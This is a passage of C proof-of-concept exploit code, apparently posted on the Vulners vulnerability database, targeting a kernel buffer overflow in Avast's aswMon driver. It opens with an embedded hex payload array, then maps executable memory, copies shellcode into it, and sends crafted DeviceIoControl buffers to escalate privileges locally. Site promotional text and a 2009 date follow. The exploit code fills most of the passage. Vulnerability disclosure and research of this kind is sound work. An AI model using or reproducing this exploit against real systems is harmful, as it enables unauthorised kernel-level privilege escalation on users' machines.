0x1b7c8cc7, 0xd2d672e6, 0x0caac1da, 0x1ae2cf8a,
0x92bd47e9, 0xfeb1f194, 0xc0628cbd, 0xecc1a399,
0x1a9f95f0, 0x29648b2b, 0x9c447a54, 0xad6d85e2,
0x9bd983e7, 0x880f0eb1, 0xbea4a1a9, 0x3717e013,
0x89e486dd, 0xe86bcc12, 0xc43fe5a5, 0xc50a72b4,
0x396f4517, 0x2c8b865e, 0x3f022a7f, 0x0c5bc9bb,
0x13fd077b, 0xcb6bd83d, 0x20c3e64b, 0x254e3a66,
0xbcb22492, 0x57caa096, 0x8ba670d9, 0x547d5784,
0xec8bf3f8, 0xf5b1ff55, 0x30620957, 0x43a3264a,
0xdc6a0482, 0x270f2162, 0x15518268, 0xf4f3d923,
0xfc6cdb9e, 0x91d3e097, 0xe49d4ba4, 0xe47a3b34,
0xc18383a6, 0x5508af9a, 0xf2c8fcc8, 0xed417653,
0xe3f4cf27, 0x6a777f65, 0xe9c3dae6, 0xfec2e74c,
0x143f7e6d, 0xa8dc757c, 0xb8c48b07, 0x6a41964d,
0x0994e2e4, 0x86ba5562, 0x4ebdb204, 0x6913dc92,
0x3bd205a8, 0x2018395a, 0x804c5bb8, 0xa159fa18,
0x7ccdfb1e, 0x146c6abc, 0x9c59a9ce, 0xe2f7d37d,
0x699918e3, 0xde22536a, 0xfae6dd7c, 0x8a228eab,
0xf657ae31, 0x97d59acb, 0xb1f6e1b7, 0xbc41be1c,
0xc2572c95, 0x342f56a9, 0x349aeff3, 0xcbe3c7d9,
0x080d46fe, 0x0e1d753c, 0xe4760d5c, 0x0cde715c,
0x7d129f23, 0xab63fbbe, 0x9d734af8, 0xc2daebce,
0x0619e8ee, 0x2c5b3a41, 0xd5db4193, 0x943fce43,
0x0256feeb, 0x83a424bd, 0xe27f259b, 0x67ef724b,
0x99c97ae1, 0x8bfa552e, 0x73e3191c, 0xe94365e5,
0x92291d29, 0x7a28b911, 0x4ae8b691, 0xafba0345,
0xbac0a0ba, 0x677713c2, 0x1a7fc599, 0x8978a9c1,
0xe8f62f56, 0x58f7969a
};
DWORD ShellcodeToExecute;
int choix;
memset(welcome, 0x61, 100);
welcome[100] = 0;
ZeroMemory(out,sizeof(out));
printf("Avast Kernel Buffer Overflow Vulnerability\nProof Of Concept...\n\n");
getch();
MajShellcode("LocalEscalation_Avast.exe");
MajRealShellcode();
MajRealStack();
ShellcodeToExecute = (DWORD) VirtualAlloc((void*)0x57520000, 0x10000, MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ShellcodeToExecute = (DWORD) VirtualAlloc((void*)0x57520000, 0x10000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy((void*)0x57523c00, UpdateAswMon, sizeof(UpdateAswMon));
memcpy((void*)0x57523c00+sizeof(UpdateAswMon), ShellcodeMaster, sizeof(ShellcodeMaster));
printf("Connecting... ");
hDevice = CreateFile("\\\\.\\aswMon",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
while(hDevice == (HANDLE) 0xffffffff){
hDevice = CreateFile("\\\\.\\aswMon",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
Sleep(1000);
}
printf("Found !\nHandle : %p\n",hDevice);
DeviceIoControl(hDevice,0xb2c8000c, Crashing,sizeof(Crashing),0,0,&NombreByte,NULL);
DeviceIoControl(hDevice,0xb2c8000c, Crashing,sizeof(Crashing),0,0,&NombreByte,NULL);
AfficherListeFichiers();
printf("Written.\n");
CloseHandle(hDevice);
getch();
return 0;
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Aug 2009 00:00Current
0.8Low risk
Vulners AI Score0.8